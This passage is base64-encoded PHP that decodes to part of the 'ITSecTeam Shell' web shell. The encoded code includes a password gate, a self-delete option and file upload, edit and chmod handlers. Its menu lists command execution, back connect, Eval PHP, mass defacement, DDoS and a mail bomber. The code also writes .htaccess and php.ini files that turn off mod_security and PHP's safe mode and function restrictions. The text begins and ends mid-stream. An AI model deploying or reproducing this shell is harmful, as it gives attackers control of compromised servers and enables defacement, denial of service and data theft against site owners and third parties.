9uPSInLiRtZS4nIiBtZXRob2Q9cG9zdCBlbmN0eXBlPW11bHRpcGFydC9mb3JtLWRhdGE+Jy4kbm93YWRkcmVzcy4nDQo8Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQiPjxpbnB1dCBzaXplPTQwIHR5cGU9ZmlsZSBuYW1lPWZpbGVlID4gPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWRkcmVzcyB2YWx1ZT0nLmdldGN3ZCgpLic+DQo8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9VXBsb2FkIC8+PC9mb3JtPjwvdGQ+PC90cj4NCjx0cj4NCjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIiBzdHlsZT0iYm9yZGVyLWxlZnQtd2lkdGg6IDFweDsgYm9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7IGJvcmRlci10b3Atd2lkdGg6IDFweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM4MDgwODAiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0OyBmb250LXdlaWdodDo3MDAiPjxicj4nLiRmb3JtZy4nQ29weSBGaWxlIDogPC9mb250PjwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj48aW5wdXQgc2l6ZT0yMCBuYW1lPWNvcHluYW1lPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFkZHJlc3MgdmFsdWU9IicuZ2V0Y3dkKCkuJyI+IFRvIDxpbnB1dCBzaXplPTQwIG5hbWU9Y3B5dG8gdmFsdWU9IicuZ2V0Y3dkKCkuJHNsYXNoLiciPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWUgPUNvcHk+PC9mb3JtPjwvdGQ+PC90cj4NCicuJGVuZDsNCj8++PGZvcm0gbWV0aG9kPXBvc3Q+UGFzc3dvcmQ6IDxpbnB1dCB0eXBlPXBhc3N3b3JkIG5hbWU9cGFzcz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC9wcmU+Iik7DQp9DQoNCmZ1bmN0aW9uIEdHc2V0Y29va2llKCRrLCAkdikgew0KICAgICRfQ09PS0lFWyRrXSA9ICR2Ow0KICAgIHNldGNvb2tpZSgkaywgJHYpOw0KfQ0KDQppZighZW1wdHkoJGF1dGhfcGFzcykpIHsNCiAgICBpZihpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgKG1kNSgkX1BPU1RbJ3Bhc3MnXSkgPT0gJGF1dGhfcGFzcykpDQogICAgICAgIEdHc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLCAkYXV0aF9wYXNzKTsNCg0KICAgIGlmICghaXNzZXQoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKSB8fCAoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldICE9ICRhdXRoX3Bhc3MpKQ0KICAgICAgICBHR0xvZ2luKCk7DQp9DQoNCmlmKCRfR0VUWydkbyddPT0icmVtb3ZlIil7DQp1bmxpbmsoZ2V0Y3dkKCkuJF9TRVJWRVJbIlNDUklQVF9OQU1FIl0pOw0KfQ0KJGJhc2VwPSRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107DQppZihzdHJ0b2xvd2VyKHN1YnN0cihQSFBfT1MsIDAsIDMpKSA9PSAid2luIil7DQokc2xhc2g9IlxcIjsNCiRiYXNlcD1zdHJfcmVwbGFjZSgiLyIsIlxcIiwkYmFzZXApOw0KfWVsc2V7DQokc2xhc2g9Ii8iOw0KJGJhc2VwPXN0cl9yZXBsYWNlKCJcXCIsIi8iLCRiYXNlcCk7DQp9DQppZigkX0dFVFsnZG8nXT09InJlbW92ZSIpew0KdW5saW5rKGdldGN3ZCgpLiRzbGFzaC4kX1NFUlZFUlsiU0NSSVBUX05BTUUiXSk7DQp9DQppZiAoJF9SRVFVRVNUWydhZGRyZXNzJ10pew0KaWYoaXNfcmVhZGFibGUoJF9SRVFVRVNUWydhZGRyZXNzJ10pKXsNCmNoZGlyKCRfUkVRVUVTVFsnYWRkcmVzcyddKTt9ZWxzZXsNCmFsZXJ0KCJQZXJtaXNzaW9uIERlbmllZCAhIik7fX0NCiRtZT0kX1NFUlZFUlsnUEhQX1NFTEYnXTsNCiRmb3JtcD0iPGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPSciLiRtZS4iJz4iOw0KJGZvcm1nPSI8Zm9ybSBtZXRob2Q9Z2V0IGFjdGlvbj0nIi4kbWUuIic+IjsNCiRub3dhZGRyZXNzPSc8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hZGRyZXNzIHZhbHVlPSInLmdldGN3ZCgpLiciPic7DQppZiAoaXNzZXQoJF9GSUxFU1siZmlsZWUiXSkgYW5kICEgJF9GSUxFU1siZmlsZWUiXVsiZXJyb3IiXSkgew0KICAgaWYobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbImZpbGVlIl1bInRtcF9uYW1lIl0sICRfRklMRVNbImZpbGVlIl1bIm5hbWUiXSkpew0KICAgYWxlcnQoIkZpbGUgVXBsb2FkIFN1Y2Nlc3NmdWwiKTsNCiAgIH1lbHNlew0KYWxlcnQoIlBlcm1pc3Npb24gRGVuaWVkICEiKTsNCiAgIA0KICAgfQ0KICAgfQ0KaWYoaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSl7DQokZGlzYWJsZWY9aW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsNCn1lbHNlew0KJGRpc2FibGVmPSJBbGwgRnVuY3Rpb25zIEVuYWJsZSI7DQp9DQppZihpbmlfZ2V0KCdzYWZlX21vZGUnKSl7DQokc2FmZV9tb2Rlcz0iT24iOw0KfWVsc2V7DQokc2FmZV9tb2Rlcz0iT2ZmIjsNCn0NCmlmICgkX1JFUVVFU1RbJ2NobW9kZSddICYmICRfUkVRVUVTVFsnY2htb2RlbnVtJ10pew0KaWYgKGNobW9kKCRfUE9TVFsnY2htb2RlJ10sIjAiLiRfUE9TVFsnY2htb2RlbnVtJ10pKXthbGVydCgiQ2htb2QgT2shIik7fWVsc2V7YWxlcnQoIlBlcm1pc3Npb24gRGVuaWVkICEiKTt9DQp9DQokcGljZGlyPSdpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQTBBQUFBTkNBWUFBQUJ5NitSOEFBQUIzMGxFUVZSNDJtTmdnQUF1SUJaQ3dqeEF6TWlBQzRqSXlrclpPTHBsaGNXbHpBdUxTNTBQd2tGUmlUUGwxVFFEQlNRazdPRllSTVNlalkxTkE2aUZpVUZFVWluS3dTL21jVVJXMWY5d0lBN05yUHdmbEZyNjN6b3c3Yk9KZDlJYlE4L0VON3F1Y1crMFhPTGV5SnY1WG1FVFU5UmpVRFYwM0JsWDJQNDNvYXovZjJoTyszK3Y1UHIvRGxFVi84MURpdi9yK2VUK1YzUEwrQy90bHZlZlA2THp2NkJSeUQ4MmNlMUlCbDA3L3pOSkZmMy9FeW9uL1E4djd2dWYwTFBxZjNEdDdQOW1ZV1gvMVlNci9vc2xUZnJQbnpqcHY0aDkybjhCbzdEL3JKSjZlUXlTNW42M1BMSmEvd2NVOWYzM0srejlIOU83K24vVGlSZi83WHAzL09kczN2OWZKR25pZjNIMzdQL0NqcW4vK2F6ai83UElHclF4c0JuN1ArVjJ5ZnpQNDViem45Yzk5NzljWk4zLzFMVVgva3RNdmZpZnRmblFmOEd3K3Y4QzN2bi8rVHh5LzNPN1p2MW5WakNaeDhEcWtQQ1d3Ny8wUHdnTFJ0Yi9kK3ZmL0YrM2ZQWi9qdERhLzB5MU8vNHpWVzc2eng1Yy9SK21obG5GZkJzRG0zZk9aL2JJaHYrY01VMy9wWEltL3hkSzdmNFA0b013VzB6TGY3YkVudi9zMGMxd01TWTk1M01NUW5HMVA1VUtKLzhuRmd2YUJ6OWpZUFRKZk0yYzJQcWZXTXhvR2ZDRmdVRkdLNHBCdzN3aDBWaEN1UlNVa2xpZ2FZOVl6QUlBL1gvM1MxLzVFRU1BQUFBQVNVVk9SSzVDWUlJPSc7DQokcGljZmlsZT0naVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUEwQUFBQU5DQVlBQUFCeTYrUjhBQUFCYUVsRVFWUjQybU1JWGZXZmVmN0pUN1lyejM0bzMzQUJoajlCYUtEWXJQM1BFNklxcGdreW9JTk5GejlHbm56dy9mL05Gejh3OEpZclgvL1AySDZ6TXJCeWlqQ0twbDFYUGtiZWUvWHQvL2Z2M3pIdy9sdGYveCs0L3ZuVDdPMDM2d096a1RTdVAvY3U4c2F6ei8rL2ZQbUNnUzgrK3Z4LzI1WFAveGNjZVA0eHIyZExQRkE1TTFqVHl0UHZJcTg4L3ZqLzQwZmMrT3oxNS8vTE94WlhBWlZ6Z0RVdE8vRTY4dExERC84L2ZNQ0IzMy80Zi9ycXMvOGxMUXVyNFpvV0gzc2RlZUgraC8vdjM3L0hqdCs5LzMveXl0UC9SVTFJbXVZZWZoMTU5dTY3LzIvZnZzV0szN3g1OC8vNHBTZi9DOUExbmI3ejl2L3IxNjl4NG1PWEh2L1BROWEwQU9pOE0zY2dKbUxESUUwbkxqOUJkZDZDWXk4aXo5NEJLbmlOQmIrQjBDZEJtcEFEb25QOS9jamxCeDcvMzMzcThmODlwOUh3R2FBNGtGNjY1LzcvbEdxa0lIZndLUmF4OVloMXQzSUlDTFoxQ0FwQngxWkFiR0liRUN3bHIyOElWTTRLQVBaZ3dReGJKeVZvQUFBQUFFbEZUa1N1UW1DQyc7DQokaGVhZD0nPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCkE6bGluayB7dGV4dC1kZWNvcmF0aW9uOiBub25lfQ0KQTp2aXNpdGVkIHt0ZXh0LWRlY29yYXRpb246IG5vbmV9DQpBOmFjdGl2ZSB7dGV4dC1kZWNvcmF0aW9uOiBub25lfQ0KQTpob3ZlciB7dGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmUgb3ZlcmxpbmU7IGNvbG9yOiA0MTQxNDE7fQ0KLmZvY3VzIHRke2JvcmRlci10b3A6MHB4IHNvbGlkICNmOGY4Zjg7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kOiNmMmYyZjI7cGFkZGluZzowcHggMHB4IDBweCAwcHg7fQ0KPC9zdHlsZT48aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4NCjx0aXRsZT5pVFNlY1RlYW08L3RpdGxlPg0KPC9oZWFkPjxib2R5ICB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIHJpZ2h0bWFyZ2luPSIwIiANCmJnY29sb3I9IiNmMmYyZjIiPjxkaXYgYWxpZ249ImNlbnRlciI+DQombmJzcDs8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwMCIgaGVpZ2h0PSIxNCIgYm9yZGVyY29sb3I9IiNDRENEQ0QiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlOyBib3JkZXItc3R5bGU6IHNvbGlkOyBib3JkZXItd2lkdGg6IDFweCI+DQo8dHI+DQo8dGQgaGVpZ2h0PSIzMCIgd2lkdGg9Ijk5NiI+DQo8cCBhbGlnbj0iY2VudGVyIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PHNwYW4gbGFuZz0iZW4tdXMiPjxhIGhyZWY9Ij9kbz1ob21lIj5Ib21lPC9hPiAtLSA8YSBocmVmPSI/ZG89ZmlsZW1hbmFnZXImYWRkcmVzcz0nLmdldGN3ZCgpLiciPkZpbGUgTWFuYWdlcjwvYT4gLS0gPGEgaHJlZj0iP2RvPWNtZCZhZGRyZXNzPScuZ2V0Y3dkKCkuJyI+Q29tbWFuZCBFeGVjdXRlPC9hPiAtLSA8YSBocmVmPSI/ZG89YmMmYWRkcmVzcz0nLmdldGN3ZCgpLiciPkJhY2sgQ29ubmVjdDwvYT4gLS0NCjxhIGhyZWY9Ij9kbz1ieXBhc3NjbWQmYWRkcmVzcz0nLmdldGN3ZCgpLiciPkJ5cGFzUyBDb21tYW5kIGVYZWN1dGUoU0YtREYpPC9hPiAtLSA8YSBocmVmPSI/ZG89c3ltbGluayZhZGRyZXNzPScuZ2V0Y3dkKCkuJyI+U3ltbGluazwvYT4gLS0NCjxhIGhyZWY9Ij9kbz1ieXBhc3NkaXImYWRkcmVzcz0nLmdldGN3ZCgpLiciPkJ5cGFzUyBEaXJlY3Rvcnk8L2E+IC0tIDxhIGhyZWY9Ij9kbz1ldmFsJmFkZHJlc3M9Jy5nZXRjd2QoKS4nIj4NCkV2YWwgUGhwPC9hPiAtLSA8YSBocmVmPSI/ZG89ZGImYWRkcmVzcz0nLmdldGN3ZCgpLiciPkRhdGEgQmFzZTwvYT4gLS0gPGEgaHJlZj0iP2RvPWNvbnZlcnQmYWRkcmVzcz0nLmdldGN3ZCgpLiciPkNvbnZlcnQ8L2E+IC0tIDxhIGhyZWY9Ij9kbz1tYWlsJmFkZHJlc3M9Jy5nZXRjd2QoKS4nIj5NYWlsIEJvb21iZXI8L2E+PGEgaHJlZj0iP2RvPWluZm8mYWRkcmVzcz0nLmdldGN3ZCgpLiciPg0KPGJyPlNlcnZlciBJbmZvcm1hdGlvbjwvYT4gLS0gPGEgaHJlZj0iP2RvPWQwc2xvY2FsJmFkZHJlc3M9Jy5nZXRjd2QoKS4nIj5Eb3MgTG9jYWwgU2VydmVyPC9hPiAtLSA8YSBocmVmPSI/ZG89ZHVtcCZhZGRyZXNzPScuZ2V0Y3dkKCkuJyI+QmFja3VwIERhdGFiYXNlPC9hPiAtLSA8YSBocmVmPSI/ZG89bWFzcyZhZGRyZXNzPScuZ2V0Y3dkKCkuJyI+TWFzcyBEZWZhY2U8L2E+IC0tIDxhIGhyZWY9Ij9kbz1kbGZpbGUmYWRkcmVzcz0nLmdldGN3ZCgpLiciPkRvd25sb2FkIFJlbW90ZSBGaWxlPC9hPiAtLSA8YSBocmVmPSI/ZG89ZGQwcyZhZGRyZXNzPScuZ2V0Y3dkKCkuJyI+RERvUzwvYT4gLS0gPGEgaHJlZj0iP2RvPXBlcm0mYWRkcmVzcz0nLmdldGN3ZCgpLiciPkZpbmQgV3JpdGFibGUgRGlyZWN0b3J5PC9hPiAtLSA8YSBocmVmPSI/ZG89YXBhY2hlJmFkZHJlc3M9Jy5nZXRjd2QoKS4nIj5TZXJ2ZXI8L2E+IC0tIDxhIGhyZWY9Ij9kbz1yZW1vdmUmYWRkcmVzcz0nLmdldGN3ZCgpLiciPlJlbW92ZSBNZTwvYT4gLS0gPGEgaHJlZj0iP2RvPWFib3V0JmFkZHJlc3M9Jy5nZXRjd2QoKS4nIj5BYm91dDwvYT4NCjwvc3Bhbj48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+PC9kaXY+DQo8ZGl2IGFsaWduPSJjZW50ZXIiPg0KPHRhYmxlIGlkPSJ0YWJsZTIiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlOyBib3JkZXItc3R5bGU6IA0Kc29saWQ7IiB3aWR0aD0iMTAwMCIgYmdjb2xvcj0iI2VhZWFlYSIgYm9yZGVyPSIxIiBib3JkZXJjb2xvcj0iI2M2YzZjNiIgDQpjZWxscGFkZGluZz0iMCI+PHRib2R5Pjx0cj48dGQ+PGRpdiBhbGlnbj0iY2VudGVyIj48dGFibGUgaWQ9InRhYmxlMyIgc3R5bGU9ImJvcmRlci1zdHlsZTpkYXNoZWQ7IGJvcmRlci13aWR0aDoxcHg7IG1hcmdpbi10b3A6IDFweDsgbWFyZ2luLWJvdHRvbTogMHB4OyANCmJvcmRlci1jb2xsYXBzZTogY29sbGFwc2UiIHdpZHRoPSI5NTAiIGJvcmRlcj0iMSIgYm9yZGVyY29sb3I9IiNjZGNkY2QiDQpoZWlnaHQ9IjEwIiBib3JkZXJjb2xvcmxpZ2h0PSIjQ0RDRENEIiBib3JkZXJjb2xvcmRhcms9IiNDRENEQ0QiPjx0Ym9keT48dHI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjxkaXYgYWxpZ249ImNlbnRlciI+DQpPcGVyYXRpb24gU3lzdGVtIDogJy5waHBfdW5hbWUoKS4nIHwgUGhwIFZlcnNpb24gOiAnLnBocHZlcnNpb24oKS4nIHwgU2FmZSBNb2RlIDogJy4kc2FmZV9tb2Rlcy4nIDx0ZCBzdHlsZT0iYm9yZGVyOiAxcHggc29saWQgcmdiKDE5OCwgMTk4LCAxOTgpOyIgDQp3aWR0aD0iOTUwIiBiZ2NvbG9yPSIjZTdlM2RlIiBoZWlnaHQ9IjEwIiB2YWxpZ249InRvcCI+JzsNCiRlbmQ9JzwvdGQ+PC90cj48L3Rib2R5PjwvdGFibGU+PC9kaXY+PC90ZD48L3RyPjx0cj48dGQgYmdjb2xvcj0iI2M2YzZjNiI+PHAgc3R5bGU9Im1hcmdpbi10b3A6IDBwdDsgbWFyZ2luLWJvdHRvbTogMHB0IiBhbGlnbj0iY2VudGVyIj48c3BhbiBsYW5nPSJlbi11cyI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPicuYmFzZTY0X2RlY29kZSgiUTI5a1pXUWdZbmtnUVcxcGJpQlRhRzlyYjJocElDaFFaV3AyWVdzcCIpLic8YnI+PGEgaHJlZj0iaHR0cDovL3d3dy5pdHNlY3RlYW0uY29tIiB0YXJnZXQ9Il9ibGFuayI+PGZvbnQgc2l6ZT0xPicuYmFzZTY0X2RlY29kZSgiYVZSVFpXTlVaV0Z0TG1OdmJRPT0iKS4nPC9hPjwvZm9udD48L3NwYW4+PC90ZD48L3RyPjwvdGJvZHk+PC90YWJsZT48L2Rpdj48L2JvZHk+PC9odG1sPic7DQokZGVueT0kaGVhZC4iPHAgYWxpZ249J2NlbnRlcic+IDxiPk9oIE15IEdvZCE8YnI+IFBlcm1pc3Npb24gRGVuaWVkIi4kZW5kOw0KZnVuY3Rpb24gYWxlcnQoJHRleHQpew0KZWNobyAiPHNjcmlwdD5hbGVydCgnIi4kdGV4dC4iJyk8L3NjcmlwdD4iOw0KfQ0KaWYgKCRfR0VUWydkbyddPT0iZWRpdCIgJiYgJF9HRVRbJ2ZpbGVuYW1lJ10hPSJkaXIiKXsNCmlmKGlzX3JlYWRhYmxlKCRfR0VUWydhZGRyZXNzJ10uJF9HRVRbJ2ZpbGVuYW1lJ10pKXsNCiRvcGVkaXQ9Zm9wZW4oJF9HRVRbJ2FkZHJlc3MnXS4kX0dFVFsnZmlsZW5hbWUnXSwiciIpOw0Kd2hpbGUoIWZlb2YoJG9wZWRpdCkpDQokZGF0YS49ZnJlYWQoJG9wZWRpdCw5OTk5KTsNCmZjbG9zZSgkb3BlZGl0KTsgDQplY2hvICRoZWFkLiRmb3JtcC4kbm93YWRkcmVzcy4nPHAgYWxpZ249ImNlbnRlciI+RmlsZSBOYW1lIDogJy4kX0dFVFsnYWRkcmVzcyddLiRfR0VUWydmaWxlbmFtZSddLic8YnI+PHRleHRhcmVhIHJvd3M9IjE5IiBuYW1lPSJmZWRpdCIgY29scz0iODciPicuaHRtbGVudGl0aWVzKCIkZGF0YSIpLic8L3RleHRhcmVhPjxicj48aW5wdXQgdmFsdWU9Jy4kX0dFVFsnZmlsZW5hbWUnXS4nIG5hbWU9bmFtZWZlPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiAgU2F2ZSAgIj48L2Zvcm0+PC9wPicuJGVuZDtleGl0Ow0KfWVsc2V7YWxlcnQoIlBlcm1pc3Npb24gRGVuaWVkICEiKTt9fQ0KZnVuY3Rpb24gc2l6ZWUoJHNpemUpDQp7DQogaWYoJHNpemUgPj0gMTA3Mzc0MTgyNCkgeyRzaXplID0gQHJvdW5kKCRzaXplIC8gMTA3Mzc0MTgyNCAqIDEwMCkgLyAxMDAgLiAiIEdCIjt9DQogZWxzZWlmKCRzaXplID49IDEwNDg1NzYpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwNDg1NzYgKiAxMDApIC8gMTAwIC4gIiBNQiI7fQ0KIGVsc2VpZigkc2l6ZSA+PSAxMDI0KSB7JHNpemUgPSBAcm91bmQoJHNpemUgLyAxMDI0ICogMTAwKSAvIDEwMCAuICIgS0IiO30NCiBlbHNlIHskc2l6ZSA9ICRzaXplIC4gIiBCIjt9DQogcmV0dXJuICRzaXplOw0KfQ0KaWYoJF9SRVFVRVNUWydkbyddPT0nYWJvdXQnKXsNCmVjaG8gJGhlYWQuIjxwIGFsaWduPSdjZW50ZXInPjxiPjxmb250IGNvbG9yPXJlZD5JVFNlY1RlYW0sIElUIFNlY3VyaXR5IFJlc2VhcmNoICYgUGVuZXRyYXRpb24gVGVzdGluZyBUZWFtPC9iPjwvZm9udD48YnI+VmVyc2lvbiAyLjEgPGJyPkxhc3QgVXBkYXRlIDogMjAxMC8xMC8xMDxicj5Db2RlZCBCeSA6IEFtaW4gU2hva29oaShQZWp2YWspPGJyPlNwZWNpYWwgVGhhbmtzKE0zaHJAbi5TICwgQW0hcmtoQG4gLCBSM2RtMHZlICwgUHJvdmlkZXIgLCBING1pZEBUbTNsICwgYWhtYWRiYWR5ICwgRG9vc2liICk8YnI+SG9tZSBQYWdlIDogPGEgaHJlZj0naHR0cDovL3d3dy5pdHNlY3RlYW0uY29tJz5odHRwOi8vd3d3Lml0c2VjdGVhbS5jb208L2E+PGJyPlVwZGF0ZSBOb3RpY2U6IDxhIGhyZWY9J2h0dHA6Ly9pdHNlY3RlYW0uY29tL2VuL3Rvb2xzL2l0c2VjdGVhbV9zaGVsbC5odG0nPklUU2VjVGVhbSBTaGVsbDwvYT48YnI+Rm9ydW0gOiA8YSBocmVmPSdodHRwOi8vd3d3LmZvcnVtLml0c2VjdGVhbS5jb20nPmh0dHA6Ly93d3cuZm9ydW0uaXRzZWN0ZWFtLmNvbTwvYT48YnI+DQo8Y2VudGVyPg0KPFBSRT4NCg0KIF9fX19fXyAgX19fX19fICBfX19fICAgICAgICAgICAgICAgICAgIF9fX19fXyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCi9cX18gIF9cL1xfXyAgX1wvXCAgX2BcICAgICAgICAgICAgICAgIC9cX18gIF9cICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQpcL18vXCBcL1wvXy9cIFwvXCBcLFxMXF9cICAgICBfXyAgICBfX19cL18vXCBcLyAgICBfXyAgICAgX18gICAgICBfX18gX19fICAgIA0KICAgXCBcIFwgICBcIFwgXCBcL19cX18gXCAgIC8nX19gXCAvJ19fX1wgXCBcIFwgIC8nX19gXCAvJ19fYFwgIC8nIF9fYCBfX2BcICANCiAgICBcX1wgXF9fIFwgXCBcICAvXCBcTFwgXC9cICBfXy8vXCBcX18vICBcIFwgXC9cICBfXy8vXCBcTFwuXF8vXCBcL1wgXC9cIFwgDQogICAgL1xfX19fX1wgXCBcX1wgXCBgXF9fX19cIFxfX19fXCBcX19fX1wgIFwgXF9cIFxfX19fXCBcX18vLlxfXCBcX1wgXF9cIFxfXA0KICAgIFwvX19fX18vICBcL18vICBcL19fX19fL1wvX19fXy9cL19fX18vICAgXC9fL1wvX19fXy9cL19fL1wvXy9cL18vXC9fL1wvXy8NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCg0KDQo8L1BSRT4NCg0KDQoiLiRlbmQ7ZXhpdDsNCg0KfQ0KZnVuY3Rpb24gZGVsZXRlRGlyZWN0b3J5KCRkaXIpIHsNCmlmICghZmlsZV9leGlzdHMoJGRpcikpIHJldHVybiB0cnVlOw0KaWYgKCFpc19kaXIoJGRpcikgfHwgaXNfbGluaygkZGlyKSkgcmV0dXJuIHVubGluaygkZGlyKTsNCmZvcmVhY2ggKHNjYW5kaXIoJGRpcikgYXMgJGl0ZW0pIHsNCmlmICgkaXRlbSA9PSAnLicgfHwgJGl0ZW0gPT0gJy4uJykgY29udGludWU7DQppZiAoIWRlbGV0ZURpcmVjdG9yeSgkZGlyIC4gIi8iIC4gJGl0ZW0pKSB7DQpjaG1vZCgkZGlyIC4gIi8iIC4gJGl0ZW0sIDA3NzcpOw0KaWYgKCFkZWxldGVEaXJlY3RvcnkoJGRpciAuICIvIiAuICRpdGVtKSkgcmV0dXJuIGZhbHNlOw0KfTt9cmV0dXJuIHJtZGlyKCRkaXIpO30NCg0KZnVuY3Rpb24gZG93bmxvYWQoJGZpbGVhZGQsJGZpbmFtZSl7DQokZGxmaWxlYT0kZmlsZWFkZC4kZmluYW1lOw0KaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iIC4gJGZpbmFtZSk7ICAgDQpoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vZG93bmxvYWQiKTsNCmhlYWRlcigiQ29udGVudC1MZW5ndGg6ICIgLiBmaWxlc2l6ZSgkZGxmaWxlYSkpOw0KZmx1c2goKTsNCiRmcCA9IGZvcGVuKCQkZGxmaWxlYSwgInIiKTsNCndoaWxlICghZmVvZigkZnApKQ0Kew0KICAgIGVjaG8gZnJlYWQoJGZwLCA2NTUzNik7DQogICAgZmx1c2goKTsNCn0gDQpmY2xvc2UoJGZwKTsgDQp9DQppZigkX0dFVFsnZG8nXT09InJlbmFtZSIpew0KZWNobyAkaGVhZC4kZm9ybXAuJG5vd2FkZHJlc3MuJzxwIGFsaWduPSJjZW50ZXIiPjxpbnB1dCB2YWx1ZT0nLiRfR0VUWydmaWxlbmFtZSddLic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWRkcmVzc3JlbiB2YWx1ZT0nLiRfR0VUWydhZGRyZXNzJ10uJF9HRVRbJ2ZpbGVuYW1lJ10uJz4gVG8gPGlucHV0IG5hbWU9bmFtZXJlbj48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSIgIFNhdmUgICI+PC9mb3JtPjwvcD4nLiRlbmQ7ZXhpdDsNCn0NCg0KaWYgKCRfR0VUWydieWFwYWNoZSddPT0nb2Ztcycpew0KJGZzZT1mb3BlbihnZXRjd2QoKS4kc2xhc2guIi5odGFjY2VzcyIsInciKTsNCmZ3cml0ZSgkZnNlLCc8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+DQogICAgU2VjLS0tLS0tRW5naW5lIE9mZg0KICAgIFNlYy0tLS0tLVNjYW5QT1NUIE9mZg0KPC9JZk1vZHVsZT4nKTsNCmZjbG9zZSgkZnNlKTsNCn1lbHNlaWYgKCRfR0VUWydieWFwYWNoZSddPT0nYnlzYXAnKXsNCiRmc2U9Zm9wZW4oZ2V0Y3dkKCkuJHNsYXNoLiIuaHRhY2Nlc3MiLCJ3Iik7DQpmd3JpdGUoJGZzZSwnT3B0aW9ucyArRm9sbG93U3ltTGlua3MNCkRpcmVjdG9yeUluZGV4IFBlcnNpYW4tR3VsZi1Gb3ItRXZlci5odG1sJyk7DQpmY2xvc2UoJGZzZSk7DQp9ZWxzZWlmICgkX0dFVFsnYnlhcGFjaGUnXT09J3NmYWRmJyl7DQokZnNlPWZvcGVuKGdldGN3ZCgpLiRzbGFzaC4icGhwLmluaSIsInciKTsNCmZ3cml0ZSgkZnNlLCdzYWZlX21vZGU9T0ZGDQpkaXNhYmxlX2Z1bmN0aW9ucz1OT05FJyk7DQpmY2xvc2UoJGZzZSk7DQp9DQppZigkX0dFVFsnZG8nXT09ImFwYWNoZSIpew0KZWNobyAkaGVhZC4kZm9ybWcuJG5vd2FkZHJlc3MuJzxwIGFsaWduPSJjZW50ZXIiPg0KPHNlbGVjdCBuYW1lPWJ5YXBhY2hlPg0KPG9wdGlvbiB2YWx1ZT0ib2ZtcyI+T2ZmIE1vZGUgU2VjdXJpdHkoLmh0YWNjZXNzKTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImJ5c2FwIj5CeXBhc3MgU3ltbGluayguaHRhY2Nlc3MpPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJzZmFkZiI+RGlzYWJsZSBTYWZlIE1vZGUgJiBEaXNhYmxlIEZ1bmN0aW9uKFBocC5pbmkpPC9vcHRpb24+DQo8L3NlbGVjdD48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPWVYZWN1dGU+PC9mb3JtPjwvcD4nLiRlbmQ7ZXhpdDsNCn0NCmlmKCRfR0VUWydkbyddPT0iZGQwcyIpew0KZWNobyAkaGVhZC4kZm9ybWcuJG5vd2FkZHJlc3MuJzxwIGFsaWduPSJjZW50ZXIiPkFkZHJlc3MgOiA8aW5wdXQgbmFtZT11cmxkZDAgc2l